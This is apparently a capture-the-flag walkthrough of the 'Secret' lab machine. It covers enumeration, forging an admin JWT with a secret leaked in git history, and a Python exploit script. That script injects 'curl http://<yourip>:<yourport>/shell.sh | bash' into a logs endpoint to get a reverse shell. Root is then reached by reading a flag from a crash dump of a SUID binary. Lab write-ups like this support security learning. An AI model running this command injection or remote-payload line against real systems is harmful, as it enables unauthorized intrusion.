### Enumeration
```text
# Nmap 7.80 scan initiated Sat Dec 4 15:52:39 2021 as: nmap -A -oN nmap-scan 10.129.220.51
Nmap scan report for 10.129.220.51
Host is up (0.16s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
8701/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 4 15:53:33 2021 -- 1 IP address (1 host up) scanned in 54.92 seconds
```
So found 3 open ports , 22(SSH), 80(HTTP) , 3000(HTTP) with Node.js , Opening port 80 it had a landing page which was titled Dump Docs , and both were also there on port 3000 with a file named files.zip attached which contains the source code of how the api works

### Gaining Initial Shell
Downloaded the files.zip and extracted it getting a folder named `local-web`, where inside it we have `validation.js` and I also noticed the `.git` folder then I realized it's a git repo , so now I decide to type in git show

And I got this line of code which does validation with if the username is 'theadmin' then I have admin privs , meaning I can access `/logs` and `/privs` , So I now decide to write a script which will register a user to the api on port 3000 :
```python=
#!/usr/bin/python3
# author : tahaafarooq
import requests
import json
def convert_data(data):
data = json.dumps(data)
return data
# setting creds to register
register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaaa"}
register_data = convert_data(register_data)
# the target url (register and login)
register_url = "http://secret.htb:3000/api/user/register"
login_url = "http://secret.htb:3000/api/user/login"
privs_url = "http://secret.htb:3000/api/priv"
# setting header for the content
header = {"Content-Type": "application/json"}
# register account
res = requests.post(register_url, data=register_data, headers=header)
print(res.text)
```
```text
➜ secret python3 sample.py
Name already Exist
```
So now then since it's already registered I decided to add another function on my script which will allow me to login with the registered creds:
```python=
#!/usr/bin/python3
# author : tahaafarooq
import requests
import json
def convert_data(data):
data = json.dumps(data)
return data
# setting creds to register
register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaaa"}
register_data = convert_data(register_data)
# the target url (register and login)
register_url = "http://secret.htb:3000/api/user/register"
login_url = "http://secret.htb:3000/api/user/login"
privs_url = "http://secret.htb:3000/api/priv"
# setting header for the content
header = {"Content-Type": "application/json"}
# login function
def login():
login_data = {"email": "tahaa@likes.you", "password": "tahaaaaa"}
login_data = convert_data(login_data)
res = requests.post(login_url, data=login_data, headers=header)
token = res.text
header.update({"auth-token": token})
print("[+] Authentication Token is : " , token)
# checking user privs
print("\n[+] Checking User Privs")
res = requests.get(privs_url, headers=header)
priv = res.text
print("[+] ", priv)
# register account
res = requests.post(register_url, data=register_data, headers=header)
print(res.text)
# login if user is created or if user exists
if res.text == '{"user": "tahaafarooq"}' or res.text == "Email already Exist" or "Name Already Exist" in res.text:
print("[+] Logging You In")
login()
else:
print("[!] Exiting")
sys.exit(0)
```
So the `login()` function will log us in , using our creds , and then it will check what privileges we have and it will dump us a jwt token, YES! a JWT Token , now that I realized we have JWT Tokens related with this whole thing , I now decide to dump the `.git` folder using Dumper from GitTools , and after dumping whole those dumps, I decided to take a look at each **.env** file inside those dumps and at last I was able to get the jwt secret key used:
```text
➜ local-web-dump cat 1-de0a46b5107a2f4d26e348303e76d85ae4870934/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
```
Now since I have the key , I try checking the contents of the jwt token like what's inside it? and all that like the parameter and all that..

So now it rings on my mind , that the name with the highest privilege is `theadmin` so since i have the key all I can do now is to just change the name with this command:

```
python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' <token here>
```
and that should give us our generated signed new token for the admin:
```
➜ secret curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTY1Nzg1N30.atZrtL6UzhLQNDANrsNWeiv9wt4dzdYeOLaiGeNahcw'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
```
I now decided to get back to the source codes and found a file named `private.js` which is really interesting:
```javascript=
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
```
`const getLogs = git log --oneline ${file}`
this can allow us to perform command injection , by adding `;<command to execute>` at the `?file=` , so I rewrote my exploit which will now have a function named `forge()` which will allow me to perform execute my revshell that I hosted from my localhost using `http.server` module and then will allow me to get reverse shell:
```python=
#!/usr/bin/python3
#author : tahaafarooq
import requests
import json
import sys
# function to make clear json query
def convert_data(data):
data = json.dumps(data)
return data
# setting creds
register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaa"}
register_data = convert_data(register_data)
# declaring the target to register account and login account
register_url = "http://secret.htb:3000/api/user/register"
login_url = "http://secret.htb:3000/api/user/login"
privs_url = "http://secret.htb:3000/api/priv"
logs_url = "http://secret.htb:3000/api/logs?file=;curl+http://<yourip>:<yourport>/shell.sh+|+bash"
# setting header for the content
header = {"Content-Type": "application/json"}
# function to login
def login():
login_data = {"email": "tahaa@likes.you", "password": "tahaaaaa"}
login_data = convert_data(login_data)
res = requests.post(login_url, data=login_data, headers=header)
token = res.text
header.update({"auth-token": token})
print("[+] Authentication Token is : " , token)
# checking user privs
print("\n[+] Checking User Privs")
res = requests.get(privs_url, headers=header)
priv = res.text
print("[+] ", priv)
# function to forge
def forge():
new_token = input("[*] Enter Token : ")
print("Auth-Token:",new_token)
header.update({"auth-token": new_token})
res = requests.get(privs_url, headers=header)
print("[!]",res.text)
print("[+] Now attempting to read logs")
res = requests.get(logs_url, headers=header)
print(res.text)
sys.exit(0)
# ask choice
choice = input("[*] continue or forge : ")
if choice == "continue":
pass
elif choice == "forge":
forge()
else:
print("I didn't quiet get that")
sys.exit(0)
res = requests.post(register_url, data=register_data, headers=header)
print(res.text)
# login if user is created or if user exists
if res.text == '{"user": "tahaafarooq"}' or res.text == "Email already Exist":
print("[+] Logging You In")
login()
else:
print("[!] Exiting")
```
Ran the exploit and boom!!!
```text
➜ secret nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.129.220.51 50764
bash: cannot set terminal process group (1143): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$
```
### Privilege Escalation
So first thing I do now is to check for files with SUID perms for root:
```text
dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
```
Luckily I found one binary named `count` inside `/opt/count` which also had a source code in the same folder, the source code was written in C :abc:
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}
if (characters > 0)
{
words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
```
I mean I understand what was in it , it's like we could write something or read something but not in higher privileged files or contents , so I now decided what if I try read a file `root.txt` and in between the process of the binary running I crush it purposely , now see when a program is crushed in between it's execution time, the crash log is saved to `/var/crash` , So theoretically and technically the flag should be inside the crash logs, and it'll produce the crashdump because it is set to produce the core dumps!
So I made two shell instances , one shell instance will be used to run the `count` binary before we crash it with the other shell instance.
I also noticed it's taking time to output the result of the binary running:
```text
dasith@secret:/opt$ ./count -p
./count -p
/root/root.txt
Enter source file/directory name:
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: dasith@secret:/opt$
```
So I guess as I run it I have to type `y` before I crush it so as the results are saved lol
ON SECOND TERMINAL :
```text
dasith@secret:~$ ps aux | grep -i count
root 817 0.0 0.1 235664 7500 ? Ssl 12:50 0:00 /usr/lib/accountsservice/accounts-daemon
dasith 2086 0.0 0.0 2488 520 ? S 15:14 0:00 ./count -p
```
I now crash that PID
```text
dasith@secret:/opt$ ./count -p
./count -p/
root/root.txt
y
bash: [1639: 3 (255)] tcsetattr: Inappropriate ioctl for device
```
and there it is crashed
```text
dasith@secret:/var/crash$ ls
_opt_count.0.crash _opt_count.1000.crash _opt_countzz.0.crash
```
```text
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/testing/
dasith@secret:/var/crash$ cd /tmp/testing
dasith@secret:/tmp/testing$ ls
Architecture Date ExecutablePath ProblemType ProcCwd ProcMaps Signal UserGroups
CoreDump DistroRelease ExecutableTimestamp ProcCmdline ProcEnviron ProcStatus Uname
```
and now reading from the file `CoreDump` we see the flag using the command `strings CoreDump`:
```text
Enter source file/directory name:
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: Path:
oot/root.txt
bacf346d93f90a22e4d4900f87207aa2
```
